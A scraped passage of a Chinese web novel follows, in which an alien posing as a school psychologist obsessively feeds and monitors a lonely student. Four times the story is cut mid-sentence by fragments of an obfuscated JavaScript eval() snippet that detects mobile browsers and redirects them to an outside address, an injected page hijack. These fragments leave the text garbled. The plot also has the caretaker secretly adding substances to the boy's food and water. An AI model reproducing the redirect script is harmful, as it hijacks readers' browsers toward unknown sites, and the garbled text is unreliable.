“我脑子没有问题,我不会在厨房爬上爬下,也不会把手指伸进厨房水槽的垃圾搅碎机中…”
李卓很想说他在莫老师眼中就这么缺乏常识吗?开玩笑的吧?
可随着他进入厨房,一旁莫老师对他每一个动作都时刻盯着的紧张模样让李卓发现…莫老师好像是认真的。
他只是把碗摞起来放进厨房,只是在水龙头下洗了一个碗,莫老师却一副他怎么这么厉害的样子。
“…好了,莫老师,不要夸了。”
穿着一身蓝白校服的少年站在水池前,麻利地挽起袖子露出一节瘦削的手腕,熟练又迅速地冲洗碗筷的泡沫。
他年纪轻,单站着都能闻到扑面而来的青春气息,那脸更是嫩得都能掐出水来,被几句夸小孩的话逗羞了,碎发遮盖的雪白耳尖浸着一片薄红。
“莫老师…”
“不要再逗我了。”
“我又不是小孩。”
午餐过后是午休时间,按理说李卓是需要回到教室午休的,但是莫良一句,‘我和你们班主任说声就好了,反正你人在学校里,又没在外面啊。’
他还说:“更何况你在教室里能休息到什么呀,坐在板凳上趴在桌上多难受啊,你在我这睡床睡沙发都行。”
外头的日光逐渐毒辣,室内温度正好,又才吃过饭,昏昏欲睡的李卓躺在L型沙发上的加长躺位上,慢慢放松了眼部肌肉。
那天午休是他睡的最舒服的一次。
唯一有那么一点点小问题,当天中午他的确是胃口太好了,不知不觉吃了不少,等回到教室才感到肚子有些不太舒服,跑了一趟厕所也就差不多了。
究其原因,无非是他之前饮食不规律,长期饥饿导致胃肠消化功能减弱、蠕动缓慢,中午又剧烈运动,吃了过量食物,远超胃肠当前消化能力,导致食物积滞,引发的一点腹痛而已。
他完全没把这事放心上,也完全不知道另一双幽深的怪异眼瞳正紧紧盯着他,不放过他面上一丝一毫的细微动作。
一只光团子一板一眼道:
【分析中——】
【表情分析结果:疼痛。】
电光火石间,一段文字跃然心头:
《科学喂养全攻略》中的第三篇第五章第12小节里指出幼年体没有自制能力,养育者需注意不要放任他进食过量食物…
莫良仿佛一尊被石化的雕塑,一动不动的僵硬站着,皮肤如融化的蜡液般往下流淌,五官扭曲到几乎看不出眼睛在哪了。
“我看过的,为什么…忘了…”
“他肯定对我很失望…”
“我伤害了…我的孩子…”
“▄▄…▄”
一种频率远远超出了人类听觉范围的、特殊而诡秘的尖锐音波,如一圈圈涟漪般迅速在整个校园里回荡开来。
他的皮肤如蜡液开始软化,慢慢的,眼睛鼻子嘴巴都没有了,只剩下一个大致的轮廓,就像还没有进化出来。
而黑色的粘液从五官消失后留下的裂缝中一点点渗出,逐渐流淌一地,又开始侵蚀电脑桌乃至墙壁。
不多时,那个在李卓眼中无比温暖的咨询室被密密麻麻的黑色粘液组成一大片不断蠕动的“黑色海洋”。
莫良身上不断扩散的污染粒子和堪称刺耳的声波让那团发着光的圆球抖了抖,污染后纪元活下来的文明都这样吗?
系统了解不多,只知道他们生命极为漫长,情绪激动时,不管悲伤愤怒或是喜悦,都很容易引发类似的“暴动”。
而他们生活的星球上似乎就有某种物质可以抑制他们的情绪,但现在嘛…这样的原始低维小世界肯定是没有的。
【停…停下…】
【宿主已经做很好了,而且只是一点点小意外,告诉你一个好消息,好感没有掉哦,刚又升了五点好感呢…】
【真的,不信你看…】
似是捕捉到了重要的关键词,几乎瞬息之间,那些不断颤动的粘液以极快的速度迅速争前恐后地钻进那具已经干瘪的皮囊中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988990|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
几个呼吸的功夫,软趴趴的身体宛如充盈的气球一点点重新站了起来。
莫良从地上捡拾起掉落的眼镜,擦了擦,又重新戴了回去。
他的孩子再次唤回了他的理智。
他打开那份文档的编辑权限,开始进行补充:【这条不够严谨,为什么没说清楚过量到底是多少?我的饲养的幼年体今天只是比平时多吃了一点点,很快就有了不良反应,我真不是一个合格的养育者!!】
关闭文档,莫良又扫描了一遍今天记录的其他内容:
时间:地球时2017.4.3
新增更新:目前样本数量太少,幼年体没有表现出对某种事物的特别偏爱,但他似乎不喜欢吃西兰花,已将此类蔬菜列入禁购区。
[附件]
时间:地球时2017.4.3
新增更新:逐渐递减使用诱食剂的比例,目前已递减至微量,预计明天上午即可完全不再使用。
时间:地球时2017.4.3
新增更新:幼年体对赞美有时喜欢,有时不喜欢,需注意场合与表情。
[幼年体微表情解说附件]
*
李卓感觉莫良大抵是有读心能力的,不然根本没办法解释,为什么他下午第一节课有点肚子疼,莫老师第二节课就给他买好了药。
其中有健胃消食片、多酶片等助消化药物,同时还有一份益生菌,他特意看了说明书,上面写着改善消化功能。
“……老师,您…”
这太快了吧?!
然而他不知道,这个速度已经是系统据理力争以后的结果了。
“来,这是温水。”莫良甚至还不忘把杯盖拧开后再递给他,“你肠胃消化不太好,晚饭少吃一点,我弄点易吸收的,如何?”
男人的担忧和自责都快从眼睛里流淌出来了,仿佛李卓吃了多么大的苦,遭了多么大的罪一样,实际他明明只是吃多了,肚子痛了一小会儿而已。
他明显觉得哪里有点不太对,但这种疑惑和烦恼太过于小众了,倘若向别人倾诉的话又该怎么描述呢?
在别人在袒露各种各样的痛苦时,他总不能出来一本正经地说“我的烦恼是老师对我太好了?”
想都不用想,肯定会换来路人一个大大的白眼:“神经,滚一边秀去!”
基于这样的前提,哪怕他的同桌在最近两天一直在向他打听关于莫老师的情况,但他也一直语焉不详。
因此在同桌的眼中,他一直以为莫老师是带他去教师食堂吃饭,完全不会想到那都是莫老师自己做的。
这说出去,估计没人会信吧?
所以他也没打算说。
可是真的是这个原因吗?
李卓夜里躺在宿舍的床上,盯着天花板不断诘问自己,其实是因为不想让别人知道,因为不想被分走这好不容易只属于他一个人的关注吧?
——我好坏,好自私。
他羞愧地想。
但是,但是…
自从被亲生父母送到这座陌生城市,自从转入实验中学后,李卓头一次在晚上就开始想着第二天快点到。
明天早饭是什么来着?
11. 第 11 章
「人永远不会对现状感到满足。
在学校里上学时会羡慕在外面已经工作的成年人,认为他们有了赚钱能力,不再被拘束,想去哪就去哪,于是期待着快快长大!
而等真正离开了校园,真正进入社会成为一颗身不由己的螺丝钉时,又开始无比怀念曾经校园的日子,幻想一觉醒来能够重回课堂!
不同的阶段有不同的不知足,大家就这样互相羡慕着,永远对现状不满,永远抱怨,永远得陇望蜀…」
……
“这个作文有什么问题吗?”
高二十班的班主任章志文来找蔡清,本是想商量下周晚自习换课的事,来的时候正好见她在批改试卷。
想说的话还没说,蔡清反而先从抽屉里拿了一张试卷给他,还特别强调了一句先看作文部分。
章志文不明所以地接过蔡清递来的试卷,一目十行扫完了作文开头,没看出哪里不对,这字还行啊。
“再看下作文题目。”
蔡清提醒道。
章志文看向作文题目。
和大多数命题作文一样,先是一段简短的引子,大抵说小时候总期待长大,长大后又期待成功,人在期待中成长,在期待中长大…
最后题目要求阅读以上材料后,结合生活经历与感悟,写一篇文章。
“……”
看完题目,再去看作文,章志文像是反应过来什么,快速将手中试卷翻面,名字那栏写的正是李卓。
“他完全跑题了。”
蔡清从口袋里摸出一包烟,抖落出一根点上,朝章志文递过去一个眼神,后者摇摇头说已经戒了。
“要求以“期待”为题,他把“期待”曲解成一种欲壑难填的贪婪,不满足…”
蔡清将烟灰抖落在桌旁的陶瓷烟灰缸内:“这是他刚转过来第一个月月考的卷子,我后来找他谈过一次,但他好像没怎么听进去。”
其实除跑题外,这个作文其他方面倒是没什么问题,开头点出结论,中间展开事迹叙述,结尾首尾呼应写一些挨得上边的名人名言进行点题。
但跑题就说明很多问题了,尤其这个年纪的孩子,正值年轻气盛的时候,是最不该这么悲观的。
如果连“期待”都不允许存在的话,那活着该多么悲哀啊。
稍微一看就知道这小孩心理出问题了,作为“问题小孩”的班主任,章志文想的就更多了。
首先这小孩家里挺有钱的,其次他性格孤僻内向,保不齐哪天出个什么事,那他的责任可就大了。
不同于章志文苦皱着一张脸,蔡清这个科任老师倒轻松不少,边改作业还抽空八卦了一句:“莫良最近在干嘛?”
“好像是每天给李卓做饭?”章志文想了想,又补充道,“根据那几个送货工说,他对水果蔬菜的品质要求特别高,只要稍微有一点点磕碰都不要…”
蔡清满脸无语和不理解,最后只憋出一句:“他哪儿蹦出来的?”
莫良来历神秘,出手又十分阔绰,到现在为止,除了知道一个名字,其他的信息依旧是一片迷雾。
“算了…搞不懂。”
不过通过他的行为还是揣测出了一个信息,他对李卓是友善的,之前琢磨的那些什么豪门恩怨,什么悄无声息寻仇的情节应该都可以完全推翻了。
*
办公室的对话场景被系统实时地告知给莫良,并劝道:【我觉得你应该记一下你现在这个身份的信息…】
站在连廊上的莫良对系统不断单独重复的背景信息置若罔闻,只全神贯注地望着某一个教室的方向。
对别人或许是完全看不清的距离,但对莫良而言就像近在咫尺,如果他想,几乎能看到李卓皮下细密交织的毛细血管,看到他琥珀色眼眸中清晰的瞳孔纹路。
系统在一旁出声提醒:
【这样看来,任务目标很不合群,这样不太好,宿主尽快进行引导…】
莫良不以为意:
【有什么不好呢?我的孩子只要有我就够了,我会给他全部的爱意,比整个宇宙总质量加起来还要多数倍的…】
系统:
【………】
*
十班空空荡荡的教室里,只有李卓坐在自己的位置整理着上一节的笔记。
教室外的走廊挤着一排不断探头探脑往楼下张望的学生,几乎每一层都有这样的情况。
最热闹的地方当属操场。
据说两个上体育课的班级在自由活动时打了起来,起因似乎是之前的一点小过节,后来演变成肢体摩擦,最后莫名其妙演变成两个班级的混战。
几个主任和各自班级的带班老师都已经下去了,但怎么就是拉不开。
这个事儿可太新鲜了。
上节政治课上到一半,不少人被外面的动静吸引,心不在焉的总往外看,到了下课,几乎是迫不及待地往外涌。
等到课间时分结束,预备铃都已经打响好一会儿了,外面的学生才依依不舍地回到教室。
在老师没来之前,班级里依旧闹哄哄地聊着刚才的事儿,作为情报达人的邓余亮自然被前后桌围着不断追问。
连一些别的组的同学都特意跑过来听八卦,就在旁边的李卓就像不感兴趣一般,只是做着自己的事,中途有所觉察般看了一眼窗外。
哦,一只鸟扑腾着飞过去了。
或许为了处理两个班打群架的事,课程老师来教室的时间迟了许多,一进来便沉着脸,发了好大一通火。
那节课上的也是一波三折。
于是等到那节课下课,老师前脚走,邓余亮后脚就迫不及待的吐槽起来:“知道为什么上个月有他的课,他没来吗?因为他老婆和他闹离婚呢。”
前后桌的同学闻言立刻追问。
“你怎么知道?”
“我说呢,跟吃了炸药一样…”
邓余亮边讲着自己知道的八卦,余光处又看了一眼没太大反应的李卓。
这人真是的,好像就没有什么让他感兴趣的东西。
*
熟悉的位置,熟悉的人影,熟悉的凝视,今天的莫良依旧在他的孩子看不到自己的地方默默“陪伴”他。
【您真是我见过最敬业的宿主了,我之前遇见的宿主几乎都要靠发放更多奖励才会主动做任务呢…】
由于莫良没有设置系统外观,它依旧还是一个只有莫良能看到小光团。
在别的世界它需要履行好引导系统的职责,一步步让宿主完成任务,可这个宿主完全不需要他引导啊。
它漂浮在半空中不停晃动。
【宿主,我能咨询一个问题吗?】
【我的数据库中并没有记载更多污染纪元后期的情况,包括顺利存活下来的个体信息是非常稀少的,您还是我第一个绑定的…】
【我之前从别的等级更高的系统那打听过,听说你们很排斥进入原始小世界,这是为什么呢?】
莫良继续浏览视网膜内飞速滑动的资料,懒得回答,直接扔给系统一份体积很小的压缩包。
关于族内具体位置等机密早已剔除,剩下的不过是无关痛痒的常识:
莫良所在的文明最初也是一个低等文明,经过漫长岁月才逐渐发展至繁荣纪元。那时,生物科技军事文化等领域达到了顶峰,整个文明沉浸在前所未有的辉煌之中…
未曾想在短暂狂欢后,迎来的却是一场巨大的灾难——污染纪元。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988991|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>受到基因污染破坏的生命99%都死了,剩下的1%以一种面目全非的状态顽强地存活下来,并在恶劣的环境中一再进化,逐渐成为一种不可名状的形态。
没有五官,没有四肢,交流全靠意识,形体可随意变化,能迅速膨胀也能流畅地钻入一条细窄的地缝。
污染文明就此诞生。
…
打发了系统,莫良继续开始一心二用的一边观测李卓的所有数据,一边学习更多关于攻略中的知识点。
其实论起他们的起源说有很多种可能,其中有一个说法是,他们的祖先在很久很久以前也是原始人类。
但这个说法没什么太大的意义,毕竟就算以前是,现在的他们一个个都已经变成了和人类截然不同的外族。
通过李卓的呼吸频率和血压心跳以及肌肉活动的情况,莫良便能判断他目前的睡眠状态是浅度睡眠还是深度睡眠。
莫良在日志里留下新的时间记录:他今天比昨天入睡的时间更早一点。
这时浏览完的系统再度出现,光团子发出来的光芒忽弱忽强,它本该毫无起伏的语调也仿佛有了情绪。
【原来如此!原来如此!】
【…大面积爆发的未知病毒不仅在分子层面拆解重组生物细胞结构,还会攻击神经系统…】
【难怪你们不愿意来原始世界…】
【被重构过神经系统的你们与同族之间可以通过意识进行高效交流,但到了原始世界,这层链接会强行中断,会出现不可预知精神紊乱…】
【这里的空气成分和电磁场会让你们感到不适,纯净水和食物也会破坏你们独特的消化系统和免疫系统,所有纯净物质对你们来说都是无法吸收的…】
【难怪你的同族们大多宁愿去高速发展的繁荣纪元,去满目疮痍的废土纪元,都不愿意最干净的原始世界…】
【难怪你需要一个隔绝外界的…】
系统的光团微光稍微黯淡了一些,它围绕着莫良不解的飞来飞去。
【那你为什么会…】
【我记得是你主动来找我接任务的。说真的,拯救系列一向没其他系列那么受欢迎,我能给的积分也很少…】
【这边又不是什么高维世界,宿主不能借任务的由头赚点外快,还得倒贴任务对象,所以不太好找…】
莫良眼睛始终睁着的,若他这时没有隐藏身形,那其他人估计就会发现他看似正常外表下的无数异常。
【我看到任务剧情描述时很难受,尤其在看到最后他悄无声息地死在河里时,我感受到了一股很熟悉的气息…】
【然后就来了。】
【我有说过吗?】
【我以前有个孩子。】
光团晃动的频率停住,它似乎说了什么,又似乎什么都没说。
【哦,我的确是没有生育能力,可谁说没有生育能力就不能拥有一个属于我自己的孩子呢?】
【虽然我已经不记得那个孩子的名字,也不记得他的样子,不记得我是怎么认识他,又是怎么弄丢他,但我始终记得一点,绝对不能忘记的…】
【我一定要找到他,哪怕我的全部意识就此消散,哪怕我彻底死亡,我也要找到他…】
系统毕竟只是一串代码,它不明白的东西可太多了,在它的数据库中,绝大部分生命都会更在意自己。
【他比你自己都要重要吗?】
莫良裂开嘴,露出闪烁着寒芒的细密牙齿,似笑非笑,一种近乎狂热的光芒在他的眼中酝酿成型。
然后他出声了,用非常标准的原始人类通用语开口道:
“他是我的孩子,他当然比我更重要。以后请不要再问这样愚蠢的问题了,我不会再回答第二遍。”
12. 第 12 章
记得刚到常阳市时,所登记学籍的中学还没有开学,李卓拖着行李箱茫然地走出车站,茫然地四处游荡。
他完全不知道实验中学是什么情况,只能先按照购房合同上的地址先找到了李家给他买的房子。
天鹅湾是一处配套环境都很不错的高档小区,他所在的单元楼在小区最里面,虽然离大门远了点,但安静。
门是密码锁,打开后空旷得吓人。
那是一套新到不能再新的新房,刚刷了墙贴了砖,其他什么家具都没有,还是他自己现买了沙发,当晚当床睡了。
后来没几天到开学的日子,给李卓办手续的老师说,实验中学没有走读生的概念,学生需全体住宿,这是强制要求。
在校期间不允许带手机,必须统一上交,学校一个月只放一次为期2天的月假,其他周六周日要么是各主科进行模拟周考,要么就是正常排课。
在这样的校规下,除去开学之前住的那几天,开学后到现在4月,他一共就回了两次,满打满算住了4天啊。
比起落在自己名下的新房,李卓在教师公寓待的时间都比在天鹅湾那套新房里待的时间更久。
每次当他想到那套房子时,甚至都要需要思考一会儿才能想到它的位置。
“真的,我刚才就想了半天,它到底是在西边还是在东边…”
莫良在厨房盛菜,李卓则像个人形传送带,将菜一碟碟端出去摆到餐桌上,配合不可谓不默契。
李卓注意到莫良又只拿一只饭碗。
“莫老师,你今天又吃过了?”
透明镜片后面那双幽深的双眸露出恰如其分的微笑,他说:“是啊,你吃吧。”
李卓扫了一眼冰箱的方向,想说什么,又无声地咽下。
于是当天莫良在日志上添加了一份新的内容,前面依旧是记录李卓日常情况,包括今天的情绪波动,行为记录,例如吃了多少,整体状态如此等等。
【他的居所没有家具,他说他买的第一个家具是沙发,他似乎很喜欢沙发,午休也睡在沙发上。】
【今天他对我很感兴趣,问了很多关于我的问题。我想说实情,可惜系统说会吓到他的,只能按照提供的模板回答,在得知我年少父母早亡后,他用一种很可爱的眼神看了我很久。】
【系统不让我说真实情况,但我还是透露了以前有过一个孩子的情况。他很可爱,可惜我与他分开了,我这样说时,他听得很认真,经过系统检测,他的表情为悲伤,他的呼吸心跳都产生了异常的波动,这是为我…】
【我的孩子,正在为我而难过,天呐!这真是一个值得铭刻的日子!】
*
不知不觉,李卓已经在莫老师的教职公寓蹭了整整两周的饭了。
半个月以来桌上饭菜每天都是不重样的丰盛,在兼具营养的同时,口味也仿佛是为李卓量身定制,完全挑不出一丝毛病。
只是…
“怎么了?看起来闷闷不乐的。”对面的莫老师笑吟吟望着一脸欲言又止的李卓,“有什么一定要和我说啊。”
“是今天的饭菜不合胃口吗?”莫老师对这个问题似乎极为重视,他追问,“是哪一道菜呢?”
李卓摇摇头。
“这半个月以来,你一直说在我之前吃过了,可我看冰箱里没有一点痕迹,垃圾桶里没有,厨房也没有…”
“莫老师,你真的吃过了吗?”
随着来往密切,两人关系一天天好了起来,李卓也终于能够说一些他早就觉得很奇怪的话。
他之前一直相信莫良说他吃过饭的话,直到来吃饭的次数变多,他不再像第一次来访时那样局促,开始自如地穿梭在客厅和厨房,随意的打开冰箱。
他发现莫老师对食材的新鲜度要求很高,只要稍微有磕碰或不新鲜的都会被他直接扔掉。
而每顿做出那么多丰盛的食物,李卓不可能每一盘都吃完,正常人会放到冰箱里吧?但莫老师每次都会直接通过下水道搅碎扔掉。
既然上一顿的饭菜都扔了,那莫老师每一次都是在刚做完就吃吗?很快李卓发现没有痕迹,一点痕迹都没有。
老师很关心自己,每天会为自己做健康丰盛的三餐,但又不和自己一起吃饭,这听起来太过于违反常理了。
难不成他不需要吃饭吗?
可是人怎么可能不用吃饭!
李卓很担心莫老师会像自己之前那样就只是凑合吃一点面包之类的零食,然后把食物都就给他,虽然他也没有在垃圾桶里看到包装的,但万一呢?
虽然他隐隐感觉莫老师并不缺钱,毕竟他每次准备的食材和水果几乎都是品质最好的,但…万一呢?
从莫老师之前的讲述,他父母意外离世,孩子也早早没了,现在一个人居住,看来应该离婚了?所以对自己这样好,是因为孤单吗?
李卓只能这样猜测着。
——还挺可怜的。
“你每次做很多菜,我一个人根本吃不完,要是全都倒了多可惜啊,所以我希望你能和我一起…”
莫良从对面少年那双黑白分明的眼眸中清晰看到了自己的倒影。
多么…明亮的一双眼睛。
“怎么样?”
李卓问。
“原来只是因为这事啊。”莫老师轻轻吐出一口气,“我看你不吃饭,以为是不合胃口,不是就好。”
他随手拿起用来给李卓夹菜的筷子,将一整块脆皮鸡翅放进口里,连肉带骨头一起细细咀嚼。
大概过了十几秒,他再度开口:“是这样吗?你开心一点了吗?”
李卓不知道这和他开不开心有什么区别,但并不妨碍他在心里松了一口气,这下他们关系更好了吧?
“莫老师,我去给你盛饭。”
不等莫良出声,李卓熟门熟路地在橱柜里翻找出一只干净饭碗,不多时,一份满满的米饭出现在莫良桌前。
“不知道会不会有点多…”
莫良的脸上依旧是恰到好处的微笑,他用一种无限包容的视线望着自己的孩子,笑道:“怎么会呢,只要是你给的,都不多。”
好奇怪的说法啊。
李卓想着。
餐桌对面的莫老师已经拿起筷子开始吃饭了,那样子…
李卓很少用“认真”“严肃”之类的词汇形容吃饭,但在看到面前的男人笑眯眯地细细咀嚼起白米饭的样子,脑海不由自主地浮现这两个词。
“你怎么不吃菜?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988992|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>*
【补充:幼年体十分地黏我,他在今日主动提出想和我一起进食,又主动给我分享食物▄▄……】
【很可惜,我不能品尝这些食物的味道,也不能从中获得什么营养,甚至不能消化它们,还需要努力压制体内细胞的▄排斥反应●●…】
【嗯…反正挺麻烦的,但我记得这在原始人类的礼仪中,是一种友善的示好行为?!我能感觉到■■■,我的孩子与我越来越亲近了!!】
落下最后一个感叹号,莫良关上当天日志,低声在心里感慨道:他的孩子好可怜啊,怎么会这样脆弱呢?不进食会死,吃多会死,吃少会死,心情抑郁还会死,天气冷了热了也会死,生命还是那样的短暂。
哎…想想都觉得好可怜啊。
对莫良以及其他所有同族而言,他们不需要食物,需要的是更重要的能源,一次补充庞大的能源,就能维持各个器官组织很漫长的一段时间,就算是能源少了,他们也只会陷入沉眠。
他们是从污染中进化的物种,对极端恶劣环境的适应性极强,天上落下腐蚀液体?空气中弥漫有毒气体?常年高温?常年低温?
对他们来说都太正常了。
或者换一种说法,一个本就是在极端环境中诞生的文明,无论身处的环境多么恶劣,他们都能承受。
但反过来说,一旦回到纯净环境中反而会产生一定的不适…
余光处瞥见墙壁上又出现了奇怪的文字,莫良面无表情道:“最近很闲吗?”
【不是…】
【这种交流…挺新鲜的。】
莫良的祖先在污染纪元最严重的后期获得进化,后代继承并将其逐渐优化,一代代下来,他们的语言和部分文明不太一样。
在与同种族交流时,他们早早抛弃了低效的声波沟通,大多通过更高效的意识链接,只有在非常特殊情况下才会重新通过文字符号的落后方式交流。
例如当沟通的一方处于低维世界时,如果另一边的高维意识没有想毁灭低维世界的想法,那么只有通过自我降维的方式出现在低维世界内。
出现方式以低维世界的最高科技为准,若这方低维世界已出现全息技术,在沟通另一方同意的情况下,可以以全息的方式出现…
但若是该低维世界的科技没达到,且一方拒收所有信息的前提下,沟通的方式就只剩下最原始的文字。
【你真是小气…】
【我不过是随口说一句想过来看看,你直接给把所有通道都锁了?】
【很累诶…】
【把影像开关打开吧。】
【哎,说点正事,我发现了问题,你第一次喝水引发排异反应,后来的反应一次比一次弱了…好奇怪…】
【是逐渐适应,有了抗体吗?】
【给我寄点你现在的基因▄码…】
【字应该已经传过去了啊】
【又无视?】
【又去倒贴那个小人类了?】
【…】
【我就随口一说,你居然反向溯源,恶意污染我的基因库?咱们好歹还是同族吧?!】
下一刻,另一行文字出现。
【▄▄线路已关闭。】
【请重新连接……】
13. 第 13 章
安静的心理咨询室内,莫良坐在办公椅前,镜片后的眼睛看似在发呆,细看才能看到飞速闪过的一抹幽蓝。
他的视网膜内不断滚动着不同菜品的图片,包括完整制作过程、详细营养分布,以及李卓是否吃过,若吃过,喜好的程度有多少等等信息。
其中最靠前的是当晚需要购入的食材清单,状态显示正在运输途中。
系统给他捏造的身份在这个小世界属于一位神秘富豪,名字就叫莫良,是小世界里某个顶级豪门背后的掌权人。
平日里关于这个身份的所有事宜,莫良通通交给系统在处理,他不感兴趣,自然没怎么管过那边的事情。
反正有了这个身份,他不缺这个世界的货币,只要愿意多出一点,就能在需要的时间段获得想要的应季食材,然后他会自己严格按照系统提供的食谱进行加工。
在每一道工序都有系统提前计时的情况下,决不会出现李卓已经下课,但食物还没准备好的意外事故。
“接下来整整一个月的菜谱…”
他再度检查了一遍里面的搭配,发现几乎没有问题,他关掉方案,闭上眼睛开始休憩。
虽然是实验中学的心理老师,但莫良可不需要上班,这个所谓的心理咨询室完全是为了李卓而开的。
只要他来,大门就开着,灯也会亮着,如果他没有来,咨询室的大门会和窗帘一样紧紧闭着。
在之前没有这样做时,总有其他学生敲门。或许因为单纯好奇,或许是真的有什么烦恼想要和心理老师咨询。
莫良不知道,也不感兴趣。
他的确对自己的孩子存在一种近乎狂热的保护欲,过度的关注欲,旺盛的探索欲,但和别的原始人类有关系吗?
除必要时刻,莫良别说和他们主动进行接触了,他几乎很少和其他人类进行任何形式的交流。
他如此认真学习人类语言,精准控制每一个字的音量,可不是因为对原始文明多么感兴趣,仅仅只是因为他想和自己的孩子对话而已。
不过好在自从他告诫过学校的管理人员后,莫名其妙来敲门的学生少了许多,这能让他偶尔稍微进行短暂休憩。
他再次回想起自己的孩子。
虽然从同一个实验室出来的同事们一致觉得莫良是因为精神错乱的原因,才会虚构出一个压根不存在的孩子。
毕竟只要是认识莫良的都知道,他早些年经历过一次能源枯竭,丧失了生育能力,又怎么可能有孩子?就算有,怎么会只有他一个人记得?
哦,补充一点,他们那儿的居民只有一种性别,自体繁殖对他们来说不是很难的事,像呼吸一样。
而在这种情况下,被检测出无法生育的莫良的确算是一种怪胎。
总之莫良并不相信自己的精神有问题,哪怕没有丝毫记忆,他也坚定认为自己的孩子绝对,绝对存在过…
和李卓相遇那天,在他还不认识莫良时,后者已早早注意到了他。
——那是一个有着苍白肤色的阴郁少年,中等个子,身材消瘦,在别人身上合身的校服在他身上空空荡荡。
当然,最特别的还是他的眼睛。
莫良当时对原始人类的文化方面不是很精通,实在形容不出来是种什么感觉,很久以后他终于知道怎么形容了。
——那是一双灰蒙蒙的眼睛,如冬日里要散不散的晨雾般,透着一股化不开的、浓郁的迷茫与黯淡。
好熟悉的眼睛,在意识到这点后,莫良原本混沌不清的记忆有那么一帧陡然清晰起来。
他好像有点想起来了!
与他的孩子初次见面时,他就是这样的眼神啊,很像能源消耗殆尽后的状态,无声诉说着晦涩而漫长的痛苦。
在系统还被关在小黑屋里时,在莫良也根本不知道任务是什么时,他忽然产生了一种强烈的想法。
他想将那层碍眼的灰尘擦拭干净,他让那双眼睛重新变得明亮…
他想这样做。
他也必须这样做。
*
“怎么又来这样早…”
又是一个雾蒙蒙的早晨,学生寝室的广播放着起床铃声,几层楼寝室的杂音交织在一起,走路声说话声,一片混乱。
李卓刚从男寝的大门走出去,一抬头在熟悉的地方见到了熟悉的人。
他不止一次怀疑过莫老师到底几点起床,才能做到做到每次都在他出现之前,带着做好的早餐等在楼下。
“没有很早,我也就刚到。”
依旧是温和的笑容,温柔的语气,手上依旧拎着两个保温桶,俩人也依旧沿着熟悉的小路到了宿舍后面的小广场。
——这里本来是供学生们打乒乓的地方,后来学校在另外一边修了一块更大的场地后,这边慢慢就没什么人来了,不过之前的石桌石凳还保留着。
李卓和莫老师一人坐一边,擦拭得干干净净的石桌上依次摆着今日份丰盛而精致的早餐。
其中有一份热气腾腾的南瓜粥,一份剥好壳的煮虾仁,一份切好的水果拼盘,还有一瓶鲜奶…
“你看我做什么?”
李卓注意到自己在吃早餐时,莫良直勾勾地盯着自己,专注到好像拿着放大镜在分析面部的微小表情。
“没什么,就是想问问你味道怎么样?”莫老师充满关怀问道,“粥没有不合口味吧?”
“还可以啊,挺甜的。”
【看来他没有吃出来。】
在那份南瓜小米粥里,莫良放了少量对李卓头发很好的营养物质。
——莫良的饲养日志中有一个分类,每天都会自动更新一些和李卓有关的琐碎事宜,其中有他的睫毛生长速率,每日的骨密度扫描,以及包括每根头发都有独立编号…
他最近可能是因为学校的水质以及洗发水的原因,上一次洗过头后,掉发的数量远远比平时多了二十三根!!
这可是大事啊。
作为一位合格的养育者,怎么能放着这样的问题不管呢?
莫良想了很久,终于想出这个办法,在饭食里加入一些对头发好的营养聚合物质。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988993|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
虽然经过数次实验,他确认过营养聚合物质与南瓜的口感模拟差仅在0.03%,但李卓吃下前还是有些忐忑。
他的孩子已经吃完南瓜粥了,开始吃虾仁了,他好像真的很喜欢吃虾,嗯,这一点要记住…
只是看着他吃饭,莫良心里就涌起一种异样的满足感,要是能一直能这样下去就好了。
李卓不知道莫良的心思,早餐时间可是很有限的,他吃个八分饱的时候,时间就差不多不够了。
“莫老师,那我走了。”
“好。”
李卓拿起莫老师为他准备的水杯,朝着教学楼的方向快步离开。
他走得很快,也没有回头,但莫名有一种直觉,背后的男人一定保持同一个动作,脸上也一定挂着是温和的笑。
事实上,也的确如此。
【把水杯中饮用水中的分子结构被改写为二十面体形态吧?这样更易被细胞吸收…】
【我的孩子现在可还在长身体啊,要多多的吸收营养。】
